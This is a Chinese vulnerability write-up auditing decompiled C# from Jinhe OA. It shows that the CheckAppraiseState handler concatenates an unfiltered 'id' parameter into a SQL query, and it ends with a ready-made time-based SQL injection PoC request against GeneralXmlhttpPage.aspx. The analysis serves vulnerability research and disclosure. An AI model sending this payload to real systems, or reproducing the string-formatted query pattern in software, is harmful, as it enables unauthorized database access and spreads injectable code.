金和oaGeneralXmlhttpPage.apx SQL注入漏洞

xhys121zero2026-03-13文章来源:SecHub网络安全社区


金和oaGeneralXmlhttpPage.apx SQL注入漏洞

前景提要:使用的是dnSpy工具进行了反编译操作,反编译后是c#代码

代码审计

首先ctrl+shift+k进入全局搜索,我们直接搜索GeneralXmlhttpPage

202408141644615.png

切记不要进入到.ctor中,而是选择下面后框中的内容

点击进入这个CheckAppraiseState方法,该方法用于用于检查评价的状态

202408141645572.png

分析

public string CheckAppraiseState() { string arg = string.Empty; //对前端输入来的id值进行非空的判断 if (base.Request.QueryString["id"] != null) { //若不为空就将其值赋值给arg arg = base.Request.QueryString["id"].ToString(); } //使用 string.Format 方法,根据 arg 的值构建一个SQL查询字符串,用于从 appraise 表中选择 AppraiseID 对应的 AppraiseOverFlag 字段。 string queryString = string.Format("select AppraiseOverFlag from appraise where AppraiseID = '{0}'", arg); //执行sql语句 DataTable dataTable = this.db.ExecSQLReDataTable(queryString); string result; //判断sql语句的执行是否错误 if (!this.db.IsError) {//若没有错误,判断执行的语句的结果行数是否大于0 if (dataTable.Rows.Count > 0) { //若行数>0,将第一行获取 AppraiseOverFlag 字段的值,并将其赋值给 result。 string text = string.Format("{0}", dataTable.Rows[0][0]); result = text; } else { result = ""; } } else { result = ""; } //返回result return result;

在上述代码中直接将前端输入来的id值通过Format方法赋值到对应的sql语句中,之后通过ExecSQLReDataTable方法执行sql语句,返回结果。现在我们就去这个From方法查看对我们的id值是否有相关的过滤

因为本人对c#也不是特别了解就去简单查询了一下From方法

String.Format是将指定的 String类型的数据中的每个格式项替换为相应对象的值的文本等效项。 

举例

string p1 = "Jackie"; string p2 = "Aillo"; Response.Write(String.Format("Hello {0}, I'm {1}", p1, p2));//结果:Hello Jackie, I'm Aillo

Form方法可以说是一个简单的拼接方法,并没有对我们sql语句进行过滤操作

总结

造成sql注入的主要原因还是因为对前端传入的id值没有进行过滤进而导致漏洞的实现

POC如下

GET /C6/Jhsoft.Web.appraise/GeneralXmlhttpPage.aspx/?type=CheckAppraiseState&id=1'%3b+WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

漏洞复现

202408141720413.png